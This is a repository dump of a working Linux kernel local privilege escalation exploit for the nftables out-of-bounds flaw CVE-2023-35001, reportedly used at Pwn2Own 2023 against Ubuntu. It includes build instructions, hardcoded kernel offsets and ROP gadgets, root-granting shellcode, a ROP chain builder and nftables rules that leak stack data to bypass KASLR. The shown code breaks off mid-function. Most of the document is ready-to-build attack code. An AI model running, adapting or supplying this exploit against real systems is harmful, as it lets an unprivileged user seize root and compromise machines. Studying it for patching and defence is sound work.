Repository: synacktiv/CVE-2023-35001
Branch: master
Commit: 80ff412dc821
Files: 6
Total size: 51.2 KB
Directory structure:
gitextract__sgpeqhj/
├── Makefile
├── README.md
├── go.mod
├── go.sum
├── main.go
└── src/
└── wrapper.c
================================================
FILE CONTENTS
================================================
================================================
FILE: Makefile
================================================
CC = gcc
CFLAGS = -Wall -Wextra -Werror
CFLAGS += -std=c99
CFLAGS += -Os -g0
CFLAGS += -D_GNU_SOURCE -D_DEFAULT_SOURCE -D_POSIX_C_SOURCE=200809L
LDFLAGS = -static -s
LDLIBS = -lc
all: lpe.zip
lpe.zip: exploit wrapper
zip $@ $^
exploit: main.go
go build
wrapper: src/wrapper.c
$(CC) $(CFLAGS) $^ -o $@
clean:
$(RM) exploit wrapper
$(RM) src/*.o
$(RM) lpe.zip
.PHONY: all clean run
================================================
FILE: README.md
================================================
# nftables oob read/write exploit (CVE-2023-35001)
Exploit used at pwn2own Vancouver 2023 on Ubuntu desktop. The exploit supports
the kernel version available at the beginning of the event (5.19.0-35).
## Requirements
* C compiler
* Go compiler
## Usage
```
# Build
$ make
# Run
$ ./exploit
```
This produces a `lpe.zip` file which can be unpacked on the target. There are
two binaries in the archive:
- **wrapper**: A C binary used to enter namespaces
- **exploit**: The actual exploit
The `exploit` file is the program that should be executed. It uses the `wrapper`
program to call itself and enter a new namespace.
================================================
FILE: go.mod
================================================
module exploit
go 1.15
require (
github.com/florianl/go-nflog v1.1.0 // indirect
github.com/florianl/go-nflog/v2 v2.0.1
github.com/google/nftables v0.0.0-20220611213346-a346d51f53b3
github.com/mdlayher/netlink v1.4.2
github.com/siadat/ipc v1.0.0 // indirect
github.com/vishvananda/netns v0.0.0-20180720170159-13995c7128cc
golang.org/x/sys v0.0.0-20211205182925-97ca703d548d
)
================================================
FILE: go.sum
================================================
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/toml v0.4.1 h1:GaI7EiDXDRfa8VshkTj7Fym7ha+y8/XxIgD2okUIjLw=
github.com/BurntSushi/toml v0.4.1/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ=
github.com/cilium/ebpf v0.5.0/go.mod h1:4tRaxcgiL706VnOzHOdBlY8IEAIdxINsQBcU4xJJXRs=
github.com/cilium/ebpf v0.7.0/go.mod h1:/oI2+1shJiTGAMgl6/RgJr36Eo1jzrRcAWbcXO2usCA=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/florianl/go-nflog v1.1.0 h1:7ujkntClswr/TpVbCPLEJOiMzJiRSl2vmBH/ByGA7gA=
github.com/florianl/go-nflog v1.1.0/go.mod h1:ZIVMgm8TkUDJFvDFoaVqlGgGsEYKfSedN5EPIZomtEI=
github.com/florianl/go-nflog/v2 v2.0.1 h1:8csWIqFQ2vDaZJkxezY3dXDB7bEFg0VRFsYd2Bzj3II=
github.com/florianl/go-nflog/v2 v2.0.1/go.mod h1:g+SOgM/SuePn9bvS/eo3Ild7J71nSb29OzbxR+7cln0=
github.com/frankban/quicktest v1.11.3/go.mod h1:wRf/ReqHper53s+kmmSZizM8NamnL3IM0I9ntUbOk+k=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ=
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/nftables v0.0.0-20220611213346-a346d51f53b3 h1:Fq+jS60rvgwyi9zFyGUXwsdNViYcw1tr3CA8ZoYQVEk=
github.com/google/nftables v0.0.0-20220611213346-a346d51f53b3/go.mod h1:b97ulCCFipUC+kSin+zygkvUVpx0vyIAwxXFdY3PlNc=
github.com/josharian/native v0.0.0-20200817173448-b6b71def0850 h1:uhL5Gw7BINiiPAo24A2sxkcDI0Jt/sqp1v5xQCniEFA=
github.com/josharian/native v0.0.0-20200817173448-b6b71def0850/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=
github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=
github.com/jsimonetti/rtnetlink v0.0.0-20201009170750-9c6f07d100c1/go.mod h1:hqoO/u39cqLeBLebZ8fWdE96O7FxrAsRYhnVOdgHxok=
github.com/jsimonetti/rtnetlink v0.0.0-20201216134343-bde56ed16391/go.mod h1:cR77jAZG3Y3bsb8hF6fHJbFoyFukLFOkQ98S0pQz3xw=
github.com/jsimonetti/rtnetlink v0.0.0-20201220180245-69540ac93943/go.mod h1:z4c53zj6Eex712ROyh8WI0ihysb5j2ROyV42iNogmAs=
github.com/jsimonetti/rtnetlink v0.0.0-20210122163228-8d122574c736/go.mod h1:ZXpIyOK59ZnN7J0BV99cZUPmsqDRZ3eq5X+st7u/oSA=
github.com/jsimonetti/rtnetlink v0.0.0-20210212075122-66c871082f2b/go.mod h1:8w9Rh8m+aHZIG69YPGGem1i5VzoyRC8nw2kA8B+ik5U=
github.com/jsimonetti/rtnetlink v0.0.0-20210525051524-4cc836578190/go.mod h1:NmKSdU4VGSiv1bMsdqNALI4RSvvjtz65tTMCnD05qLo=
github.com/jsimonetti/rtnetlink v0.0.0-20211022192332-93da33804786/go.mod h1:v4hqbTdfQngbVSZJVWUhGE/lbTFf9jb+ygmNUDQMuOs=
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/mdlayher/ethtool v0.0.0-20210210192532-2b88debcdd43/go.mod h1:+t7E0lkKfbBsebllff1xdTmyJt8lH37niI6kwFk9OTo=
github.com/mdlayher/ethtool v0.0.0-20211028163843-288d040e9d60/go.mod h1:aYbhishWc4Ai3I2U4Gaa2n3kHWSwzme6EsG/46HRQbE=
github.com/mdlayher/genetlink v1.0.0/go.mod h1:0rJ0h4itni50A86M2kHcgS85ttZazNt7a8H2a2cw0Gc=
github.com/mdlayher/netlink v0.0.0-20181210160939-e069752bc835/go.mod h1:a3TlQHkJH2m32RF224Z7LhD5N4mpyR8eUbCoYHywrwg=
github.com/mdlayher/netlink v0.0.0-20190409211403-11939a169225/go.mod h1:eQB3mZE4aiYnlUsyGGCOpPETfdQq4Jhsgf1fk3cwQaA=
github.com/mdlayher/netlink v1.0.0/go.mod h1:KxeJAFOFLG6AjpyDkQ/iIhxygIUKD+vcwqcnu43w/+M=
github.com/mdlayher/netlink v1.1.0/go.mod h1:H4WCitaheIsdF9yOYu8CFmCgQthAPIWZmcKp9uZHgmY=
github.com/mdlayher/netlink v1.1.1/go.mod h1:WTYpFb/WTvlRJAyKhZL5/uy69TDDpHHu2VZmb2XgV7o=
github.com/mdlayher/netlink v1.2.0/go.mod h1:kwVW1io0AZy9A1E2YYgaD4Cj+C+GPkU6klXCMzIJ9p8=
github.com/mdlayher/netlink v1.2.1/go.mod h1:bacnNlfhqHqqLo4WsYeXSqfyXkInQ9JneWI68v1KwSU=
github.com/mdlayher/netlink v1.2.2-0.20210123213345-5cc92139ae3e/go.mod h1:bacnNlfhqHqqLo4WsYeXSqfyXkInQ9JneWI68v1KwSU=
github.com/mdlayher/netlink v1.3.0/go.mod h1:xK/BssKuwcRXHrtN04UBkwQ6dY9VviGGuriDdoPSWys=
github.com/mdlayher/netlink v1.4.0/go.mod h1:dRJi5IABcZpBD2A3D0Mv/AiX8I9uDEu5oGkAVrekmf8=
github.com/mdlayher/netlink v1.4.1/go.mod h1:e4/KuJ+s8UhfUpO9z00/fDZZmhSrs+oxyqAS9cNgn6Q=
github.com/mdlayher/netlink v1.4.2 h1:3sbnJWe/LETovA7yRZIX3f9McVOWV3OySH6iIBxiFfI=
github.com/mdlayher/netlink v1.4.2/go.mod h1:13VaingaArGUTUxFLf/iEovKxXji32JAtF858jZYEug=
github.com/mdlayher/socket v0.0.0-20210307095302-262dc9984e00/go.mod h1:GAFlyu4/XV68LkQKYzKhIo/WW7j3Zi0YRAz/BOoanUc=
github.com/mdlayher/socket v0.0.0-20211007213009-516dcbdf0267/go.mod h1:nFZ1EtZYK8Gi/k6QNu7z7CgO20i/4ExeQswwWuPmG/g=
github.com/mdlayher/socket v0.0.0-20211102153432-57e3fa563ecb h1:2dC7L10LmTqlyMVzFJ00qM25lqESg9Z4u3GuEXN5iHY=
github.com/mdlayher/socket v0.0.0-20211102153432-57e3fa563ecb/go.mod h1:nFZ1EtZYK8Gi/k6QNu7z7CgO20i/4ExeQswwWuPmG/g=
github.com/siadat/ipc v1.0.0 h1:XYELasVEvDfiPuglKzrXiXKfSTXcnwk2aIN4UCK5gMU=
github.com/siadat/ipc v1.0.0/go.mod h1:RCOzuAW5gAm5d3u+ykaWAcPx/Wkp/mv/SQq7H95C2xs=
github.com/vishvananda/netns v0.0.0-20180720170159-13995c7128cc h1:R83G5ikgLMxrBvLh22JhdfI8K6YXEPHx5P03Uu3DRs4=
github.com/vishvananda/netns v0.0.0-20180720170159-13995c7128cc/go.mod h1:ZjcWmFBXmLKZu9Nxj3WKYEafiSqer2rnvPr0en9UNpI=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.4.0/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
github.com/yuin/goldmark v1.4.1/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.5.1 h1:OJxoQ/rynoF0dcCdI7cLPktw/hR2cueqYfjm43oqK38=
golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro=
golang.org/x/net v0.0.0-20181207154023-610586996380/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20190827160401-ba9fcec4b297/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20191007182048-72f939374954/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20201010224723-4f7140c49acb/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
golang.org/x/net v0.0.0-20201216054612-986b41b23924/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210805182204-aaa1db679c0d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210928044308-7d9f5e0b762b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211015210444-4f30a5c0130f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211020060615-d418f374d309/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211201190559-0a0e4e1bb54c/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211209124913-491a49abca63 h1:iocB37TsdFuN6IBRZ+ry36wrkoV51/tl5vOWqkcPGvY=
golang.org/x/net v0.0.0-20211209124913-491a49abca63/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20181210030007-2a47403f2ae5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190411185658-b44545bcd369/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20190826190057-c7b8b68b1456/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201118182958-a01c418693c7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201218084310-7d0127a74742/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210110051926-789bb1bd4061/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210123111255-9b0068b26619/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210216163648-f7da38b97c65/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210525143221-35b2ab0089ea/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210906170528-6f6e22806c34/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211019181941-9d821ace8654/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211025201205-69cdffdb9359/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211205182925-97ca703d548d h1:FjkYO/PPp4Wi0EAUOVLxePm7qVW4r4ctbWpURyuOD0E=
golang.org/x/sys v0.0.0-20211205182925-97ca703d548d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
golang.org/x/tools v0.1.7/go.mod h1:LGqMHiF4EqQNHR1JncWGqT5BVaXmza+X+BDGol+dOxo=
golang.org/x/tools v0.1.8 h1:P1HhGGuLW4aAclzjtmJdf0mJOjVUZUzOTqkAkWL+l6w=
golang.org/x/tools v0.1.8/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
honnef.co/go/tools v0.2.1/go.mod h1:lPVVZ2BS5TfnjLyizF7o7hv7j9/L+8cZY2hLyjP9cGY=
honnef.co/go/tools v0.2.2 h1:MNh1AVMyVX23VUHE2O27jm6lNj3vjO5DexS4A1xvnzk=
honnef.co/go/tools v0.2.2/go.mod h1:lPVVZ2BS5TfnjLyizF7o7hv7j9/L+8cZY2hLyjP9cGY=
================================================
FILE: main.go
================================================
package main
import (
"C"
"bytes"
"encoding/binary"
"fmt"
"net"
"time"
"github.com/google/nftables"
"golang.org/x/sys/unix"
)
import (
"math/rand"
"os"
"os/exec"
"path"
"runtime"
"strconv"
"strings"
"syscall"
"unsafe"
"github.com/google/nftables/expr"
"github.com/mdlayher/netlink"
"github.com/vishvananda/netns"
)
/// Offsets for exploits
type exploitConfig struct {
// Offset from meta_set ops to nf_tables.ko base
metaSetOpsOff uint64
// Offset from nf_tables.ko base to byteorder_ops
byteorderOpsOff uint64
// Offset from nf_tables.ko base to payload_ops
payloadOpsOff uint64
// Offset from nf_tables.ko base to immediate_ops
immOpsOff uint64
/// Offset from the regs array on the stack in nft_chain and
/// the return address to ip_local_deliver
ipLocalDeliverRegOff uint64
// ip_local_deliver return from nft_do_chain
ipLocalDeliverReturn uint64
// Offset to '__x64_sys_modify_ldt' function in the kernel
x64_sys_modify_ldt_addr uint64
// Offset to 'do_task_dead' function in the kernel
do_task_dead_addr uint64
// Offset to 'set_memory_rw' function in the kernel
set_memory_rw_addr uint64
// Offset to 'prepare_kernel_cred' function in the kernel
prepare_kernel_cred uint64
// Offset to 'commit_creds' function in the kernel
commit_creds uint64
// Offset to '_copy_from_user' function in the kernel
copy_from_user_priv uint64
// Offset to 'pop rdi; ret' gadget in the kernel
pop_rdi uint64
// Offset to 'pop rsi; ret' gadget in the kernel
pop_rsi uint64
// Offset to 'pop rdx; ret' gadget in the kernel
pop_rdx uint64
}
var currentConfig *exploitConfig
func CToGoString(b []byte) string {
i := bytes.IndexByte(b, 0)
if i < 0 {
i = len(b)
}
return string(b[:i])
}
var cpuCount int = 0
var shellcode []byte = []byte{0x48, 0x31, 0xff, // xor rdi,rdi
0xe8, 0x00, 0x00, 0x00, 0x00, // call prepare_kernel_cred - 0x8
0x48, 0x89, 0xc7, // mov rdi,rax
0xe8, 0x00, 0x00, 0x00, 0x00, // call commit_creds - 0x10
0xc3, // ret
}
func init() {
configs := make(map[string]exploitConfig)
// Ubuntu kinetic kudu
configs["5.19.0-35-generic"] = exploitConfig{
metaSetOpsOff: 0x2fde0,
byteorderOpsOff: 0x2f7a0,
payloadOpsOff: 0x2f9e0,
immOpsOff: 0x2f1e0,
x64_sys_modify_ldt_addr: 0x48900,
do_task_dead_addr: 0x118150,
set_memory_rw_addr: 0xb3680,
prepare_kernel_cred: 0x101ea0,
commit_creds: 0x101bd0,
copy_from_user_priv: 0x6edfe0,
ipLocalDeliverRegOff: 0x278,
ipLocalDeliverReturn: 0xcd9793,
pop_rdi: 0x692b8d, // 0xffffffff81692b8d : pop rdi ; test eax, 0x8948000f ; ret
pop_rsi: 0xa7c3e, // 0xffffffff810a7c3e : pop rsi ; ret
pop_rdx: 0xa78b25, // 0xffffffff81a78b25 : pop rdx ; add al, 0x39 ; ret
}
u := unix.Utsname{}
unix.Uname(&u)
if cfg, ok := configs[CToGoString((u.Release[:]))]; ok {
currentConfig = &cfg
fmt.Printf("[+] Using config: %v\n", CToGoString(u.Release[:]))
} else {
panic(fmt.Errorf("[!] Kernel version '%v' is unsupported", string(u.Release[:])))
}
}
func packet_leak_path() {
// Now send a packet
tx, err := net.DialUDP("udp4", nil, &net.UDPAddr{
IP: net.IPv4(127, 0, 0, 1),
Port: 1337,
})
if err != nil {
panic(err)
}
tx.Write([]byte{1, 2, 3, 4})
tx.Close()
}
func packet_ropchain_path(ropchain []byte) {
tx, err := net.DialUDP("udp4", nil, &net.UDPAddr{
IP: net.IPv4(127, 0, 0, 1),
Port: 1337,
})
if err != nil {
panic(err)
}
tx.Write(ropchain)
tx.Close()
}
func craft_rop_chain(kernelBase uint64) []byte {
payload := new(bytes.Buffer)
p64 := func(val uint64) {
_ = binary.Write(payload, binary.LittleEndian, val)
}
// set_memory_rw(sys_modify_ldt, 2)
p64(kernelBase + currentConfig.pop_rdi)
p64(kernelBase + (currentConfig.x64_sys_modify_ldt_addr & (0xffff_ffff_ffff_f000)))
p64(kernelBase + currentConfig.pop_rsi)
p64(2)
p64(kernelBase + currentConfig.set_memory_rw_addr)
// Patch shellcode
prepare_kernel_cred_shellcode := currentConfig.prepare_kernel_cred - currentConfig.x64_sys_modify_ldt_addr - 0x8
shellcode[4] = uint8(prepare_kernel_cred_shellcode)
shellcode[5] = uint8(prepare_kernel_cred_shellcode >> 8)
shellcode[6] = uint8(prepare_kernel_cred_shellcode >> 16)
shellcode[7] = uint8(prepare_kernel_cred_shellcode >> 24)
commit_creds_shellcode := currentConfig.commit_creds - currentConfig.x64_sys_modify_ldt_addr - 0x10
shellcode[12] = uint8(commit_creds_shellcode)
shellcode[13] = uint8(commit_creds_shellcode >> 8)
shellcode[14] = uint8(commit_creds_shellcode >> 16)
shellcode[15] = uint8(commit_creds_shellcode >> 24)
// copy shellcode to kernel (_copy_from_user)
p64(kernelBase + currentConfig.pop_rdi)
p64(kernelBase + currentConfig.x64_sys_modify_ldt_addr)
p64(kernelBase + currentConfig.pop_rsi)
p64(uint64(uintptr(unsafe.Pointer(&shellcode[0]))))
p64(kernelBase + currentConfig.pop_rdx)
p64(uint64(len(shellcode)))
p64(kernelBase + currentConfig.copy_from_user_priv)
// Make the kernel task hang
p64(kernelBase + uint64(currentConfig.do_task_dead_addr))
return payload.Bytes()
}
func leak_module_step(conn *nftables.Conn, moduleBase uint64, kernelBase uint64) error {
// Main table for important chains
table := conn.AddTable(&nftables.Table{
Family: nftables.TableFamilyIPv4,
Name: "kaslr",
})
// Set recovering the leaked values from the stack
leakSet := nftables.Set{
Anonymous: false,
Constant: false,
Name: "leak-set",
ID: 1,
IsMap: true,
Table: table,
KeyType: nftables.TypeInteger,
DataType: nftables.TypeInteger,
}
err := conn.AddSet(&leakSet, nil)
if err != nil {
return fmt.Errorf("Could no create set: %v", err)
}
// Chain used for leaking information off the stack
leakChain := conn.AddChain(&nftables.Chain{
Name: "leak-chain",
Table: table,
})
conn.AddRule(&nftables.Rule{
Table: table,
Chain: leakChain,
Exprs: []expr.Any{
// Copies the lsb of the first jumpstack entry to r14-r19 (NFT_REG32_06 - NFT_REG32_11)
&expr.Byteorder{
SourceRegister: 18,
DestRegister: 8,
Op: expr.ByteorderHton,
Len: 24,
Size: 2,
},
// Add to the set the lsb's
&expr.Immediate{
Register: 8,
Data: []byte{0x00, 0x00, 0x00, 0x00},
},
&expr.Dynset{
SrcRegKey: 8,
SrcRegData: 14,
SetName: "leak-set",
